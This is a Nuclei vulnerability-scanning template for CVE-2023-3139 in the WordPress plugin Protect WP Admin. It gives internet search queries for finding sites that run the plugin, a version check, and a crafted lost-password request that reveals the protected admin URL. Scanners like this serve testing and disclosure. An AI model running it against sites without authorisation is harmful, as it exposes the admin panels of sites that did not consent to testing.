id: CVE-2023-3139 info: name: Protect WP Admin < 4.0 - Unauthenticated Protection Bypass author: popcorn94 severity: medium description: | The Protect WP Admin WordPress plugin before version 4.0 disclosed the URL of the admin panel through the redirection of a crafted URL, bypassing the protection offered. impact: | Unauthenticated attackers can exploit URL redirection to discover the protected admin panel URL and bypass the protection mechanism offered by the plugin. remediation: Fixed in 4.0 or later reference: - https://wpscan.com/vulnerability/f8a29aee-19cd-4e62-b829-afc9107f69bd/ - https://magos-securitas.com/txt/CVE-2023-3139.txt classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-3139 cwe-id: CWE-601 epss-score: 0.00734 epss-percentile: 0.50661 cpe: cpe:2.3:a:wp-experts:protect_wp_admin:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: wp-experts product: protect_wp_admin framework: wordpress shodan-query: http.html:"/wp-content/plugins/protect-wp-admin" fofa-query: body="/wp-content/plugins/protect-wp-admin/" publicwww-query: "/wp-content/plugins/protect-wp-admin/" tags: cve,cve2023,wordpress,wp-plugin,protect-wp-admin,unauth,wpscan,vkev,vuln flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/protect-wp-admin/readme.txt" matchers: - type: dsl dsl: - "status_code == 200" - "contains(body, 'Protect WP Admin')" - compare_versions(version, '<= 4.0') condition: and internal: true extractors: - type: regex part: body group: 1 name: version regex: - 'Stable tag: ([0-9.]+)' internal: true - method: GET path: - "{{BaseURL}}/wp-login.php?action=lostpassword&error=invalidkey" matchers: - type: dsl dsl: - "status_code == 301" - "contains(location, '?action=lostpassword&error=invalidkey')" condition: and extractors: - type: regex part: header group: 1 name: redirect_url regex: - 'Location:([ a-z:/0-9.?=&]+)' internal: true - type: dsl dsl: - '"Protected URL:"+ redirect_url' # digest: 4b0a004830460221008992a1ba532bd31893eff4fdbccacbe15526f5aff55d8765f1b58b381040db10022100fc552be04d46bc94b77aab1c65d5ebb75bfa1fd4cee81fc5ca351b1c98654d77:922c64590222798bb761d5b6d8e72950